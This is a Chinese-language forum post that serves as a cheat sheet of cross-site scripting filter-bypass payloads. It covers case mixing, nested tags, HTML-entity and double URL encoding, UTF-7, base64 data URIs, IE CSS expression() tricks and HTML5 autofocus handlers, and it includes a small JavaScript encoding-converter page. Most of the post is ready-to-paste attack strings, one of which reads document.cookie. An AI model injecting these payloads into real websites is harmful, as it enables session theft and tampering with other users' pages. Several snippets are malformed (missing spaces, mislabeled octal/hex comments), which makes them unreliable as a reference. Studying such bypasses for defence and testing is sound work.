[资源分享] XSS绕过姿势总结

红盟太子 · 发布于 2018-05-06 17:00 · 48 次阅读
2144
XSS绕过总结
关于XSS的绕过姿势总结如下:
//假如你的chrom可以翻墙那多用谷歌浏览器,假如你没有钱买vpn或者翻墙的话,那再挖掘XSS漏洞的时候请使用IE浏览器!
常规性反射型XSS,最简单er的绕过如下:
<script>alert(1);</script>
<img src=javascript:alert(1)></img>  //IE
<img src=0 onerror=alert(1)></img>
<a href=# onmouseover=alert(1)></a>
简单的绕过,运用大小写进行绕过:

<Script>alert(1);</scRipt>

<img src=javascripT:Alert(1)></img>  //IE

<img src=0 onerror=alErt(1)></img>
<a href=# onmouseover=Alert(1)></a>
比较猥琐的姿势,举例说明一个,嵌套绕过:
<img src=0 ononerrorerror=alert(1)></img>
技巧篇介绍:
当过滤了引号的时候:
我们使用//尝试绕过:思路方法如下:

<imgsrc="#" style="Xss:expression(alert(/xss/));">

  <script>alert(/xss/)</script>

<iframe/onload=alert(/xss/)>

<img src=0 alert(/xss/)>

  <ponmouseover=alert(/xss/)>xss xss</p>

<framesetonload=alert(/xss/)>

更骚的姿势进行引号过滤多用于突破长度的限制:
思路如下:
<script>eval(location.hash.slice(1))</script>#alert(‘xss’)
必学的编码转换绕过
  利用HTML实体字符十六进制或者十进制转换绕过:
思路如下:
转成十六进制如下:
  <img src=0 onerror= &#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;></img>
原代码:<img src=0onerror=alert(1)></img>
转成十进制如下:
<img src=0onerror= &#97;lert&#40;&#49;&#41;></img>

科普文:
0x01在支持IE Filder的情况下,对症下药:
1、用<a href=>来进行绕过,可以利用a标签和sc%0arit来进行绕过
绕过姿势如下:
<ahref="xss.php?a=<sc%0aript>alert(/ourren_demo/)</script>">
<ahref="xss.php?a=<sc%0aript>alert(/ourren_demo/)</script>">
<div style="position: absolute;left: 0px; top: 0px; height: 1000px; width: 1000px;
padding: 1em;background:black;text-align:center;">click to continue</div></a>




0x01:针对于UTF-7的绕过,目前应该都是UTF-8
姿势如下: %2BACIAPgA8-script%2BAD4-alert%28/ourren_demo/%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J

0x02:针对关于Chrom Filder的绕过方式:
Data协议:
   ?vuln=<ahref="javascript:alert(document.cookie);">click</a> //会拦截
-->转换成  <ahref="javascript:void(0)">click</a>
//bypass
?vuln=<a href="data:text/html;
base64,PHNjcmlwdD5hbGVydCgnSGVsbG8gd29ybGQhJyk8L3NjcmlwdD4=
">click<a>
->OK



0x03:XSS必学姿势之未递归过滤
很骚的姿势哦,绕过方式如下:
1.<ifra<iframe>me>未递归过滤<iframe>内容<iframe>
2.<s<script>cript>未递归过滤<script>内容<script>

0x04:特殊字符绕过只限于IE测试
1.<img src= “java src ipt:alert(/xss/)”>//仅限于IE6IEtest测试;
2.<div style=”width:exp/**/ression(alert(/xss/))”>xss test</div>    //仅限于IE

0x05:利用HTML5标签或者新属性进行绕过
新标签:<nav>,<radio>,<video>,<article>等等
新属性:autocomplete,autofocus等等
绕过举例说明:
   1.<inputonfocus=write(1) autofocus>
     2.<video poster=javascript:alert(1) //></video>

0x06继续科普篇之细谈expression
expression只支持IE!
这里的科普我也不太懂,应该对XSS绕过有用,绕过姿势如下:
<DIVSTYLE="xss:ex/**/pre/**/ssion(eval(xss));"xss="var Then=newDate();Then.setTime(Then.getTime()+10*1000);
if(document.cookie.indexOf('Cookie1=')== -1){document.cookie='Cookie1=RAY;expires='+Then.toGMTString();
alert(/ourren_demo/);}">
//设置一个COOKIE10秒后失效,并在这条COOKIE语句中执行其他语句或函数。
也可以通过window对象来实现:
<divstyle="width:expression((window.x==1)?'':(window.x=1,alert(/ourren_demo/)))">xsser</div>


0x07:CSS下的XSS绕过姿势
<style>input {left:expression(alert('xss'))} </style>
<div style="{left:expression(alert('xss'))}">
<div style="{ left:exp/**/ression(alert('xss'))}">
<div style="{left:\0065\0078pression alert('xss'))}">
html实体 <div style="{left:expression(alert('xss'))}">
⑥全角<div style="{left:xpression(alert('xss'))}">
unicode <div style="{left:expRessioN(alert('xss'))}">

起伏波澜XSS继续姿势总结
0x00:现在的XSS最经常用到的编码是:
  1HTML实体编码:十六进制和八进制
这两个进制转换相关的网站推荐: http://www.qqxiuzi.cn/bianma/zifushiti.php
2jvavscript的八进制和十六进制:
推荐的网站是: http://www.qqxiuzi.cn/bianma/ascii.htm
先转成十进制然后打开计算器然后选择程序员计算器然后进行八进制或者十六进制的转换。
重点:如果是八进制开头要加\,如果转换的是十六进制开头加\x
除了用这个网站进行转换之外还可以使用我写的专门针对这个的转换工具,这里感谢Kido大佬的教导,么么哒一下~~
  前端代码如下:
<html>
<head>
       <title>JS下八进制和十六进制转换以及HTML实体转换</title>
     <meta charset="utf-8"/>
</head>
<body>

<scripttype="text/javascript">
//目标
var char = '1'; //修改的内容值
document.write("需要转换的数: " +char +"<br />")
document.write("注意:只能单个转换!");
document.write("<hr/>");
var ascii = char.charCodeAt();
document.write("JS下八进制转换:"+"\\"+ascii+"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JS下八进制转换")   //八进制转换 转换完成后开头部分要带上\,这是转义字符;
document.write("<br/>");
var jsOct = parseInt(ascii).toString(8)
document.write("JS下十六进制转换:"+"\\x"+jsOct+"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JS下十六进制转换")    //十六进制转换 转换完成后开头部分要带上\x   \是转换,x是十六进制专属类似于0x;
document.write("<br/>");
var jsHex =parseInt(ascii).toString(16)
document.write("HTML URL编码:"+"%"+jsHex+"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HTMLURL编码");  //HTML URL编码转换 ;

</script>

</body>
</html>

这里我写的很详细,请认真看注释(//)部分,有能力的同学可以修改代码然后发给我谢谢,我已经无能为力,小白啊我QAQ
  3javascriptunicode转换
推荐网站: http://tool.oschina.net/encode,慢慢尝试吧。
  4URL编码转换
推荐工具:小葵转换工具,人人都知道的。。也可以使用上面那段前端代码,因为那个前端代码支持javascript八进制,十六进制,还支持url的编码转换,真的很方便!

  0x02:像发骚了一样的姿势:
原来代码:’alert(1)’
初步使用HTML字符实体转换成十六进制为:
&#x27;alert(1) &#x27;
思路拓展,对&#进行url的编码,二次转换
代码变成如下:
%26%23x27alert(1)%26%23x27
妹的,活生生的套路哇。

0x03:拓展的HTML5姿势
&colon:含义是冒号(:)
&NewLine:含义是回车(Enter)

原代码如下:<ahref=javascript:alert(1)>test</a>
通过拓展的HTML5姿势尝试 变成如下所示:
  <a href=javasc&NewLine;ript&colon;alert(1)>test<a>

0x03:base64的拓展;
推荐工具:小葵转换工具,人人都知道。。
<a href=”可控点”>
<iframe src=”可控点”>
在这种情况下如果过滤了<>,’,”,javascript的话使用base64姿势绕过
   <a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">test</a>
这里我直接引用表哥的了。我也不知道是哪位表哥啦2333

  差不多了2333~~我这里没说Flash XSS因为我还没学ActiveScript,而且我也看不懂Flash XSS,唉,我感觉想搞好XSS一定要搞好编码,编码真的是博大精深啊,过几天我在搞一篇编码混搭的文章,哈哈,假如我再遇到什么类似情况或者好的文章的姿势绕过肯定补上。。。hhh


科普文可以不看!!
编码学习
关于GBK/GB2312
  GB2312简体中文编码表(部分)

code +0+1 +2 +3 +4 +5 +6 +7 +8 +9 +A +B +C +D +E +F

A1A0 、 。 · ˉ ˇ ¨ 〃 々 — ~ ‖ … ‘’

A1B0 “” 〔 〕 〈 〉 《 》 「 」 『 』 〖 〗 【 】

A1C0 ±× ÷ ∶ ∧ ∨ ∑ ∏ ∪ ∩ ∈ ∷ √ ⊥ ∥ ∠

A1D0 ≤ ≥ ∞

A1E0 ∴ ♂ ♀ °′ ″ ℃ $ ¤ ¢ £ ‰ § № ☆ ★

A1F0 ○● ◎ ◇ ◆ □ ■ △ ▲ ※ → ← ↑↓ 〓

code +0+1 +2 +3 +4 +5 +6 +7 +8 +9 +A +B +C +D +E +F

A2A0
A2B0
A2C0
A2D0
A2E0
A2F0

code +0+1 +2 +3 +4 +5 +6 +7 +8 +9 +A +B +C +D +E +F

A3A0
A3B0
A3C0
A3D0 _
A3E0
A3F0
……
不包含多范围,最重要的是GBK/GB2312不包含file:///C:/Users/test/AppData/Local/Temp/msohtmlclip1/01/clip_image004.jpg
UTF-8是现在的标准,可以节省你的硬盘和流量。
Unicode是老大,包含了其他编码!






共收到 0 条回复
暂无回复。
回帖
B Color Image Link Quote Code Smilies
Command + Enter
快速回复 返回顶部 返回列表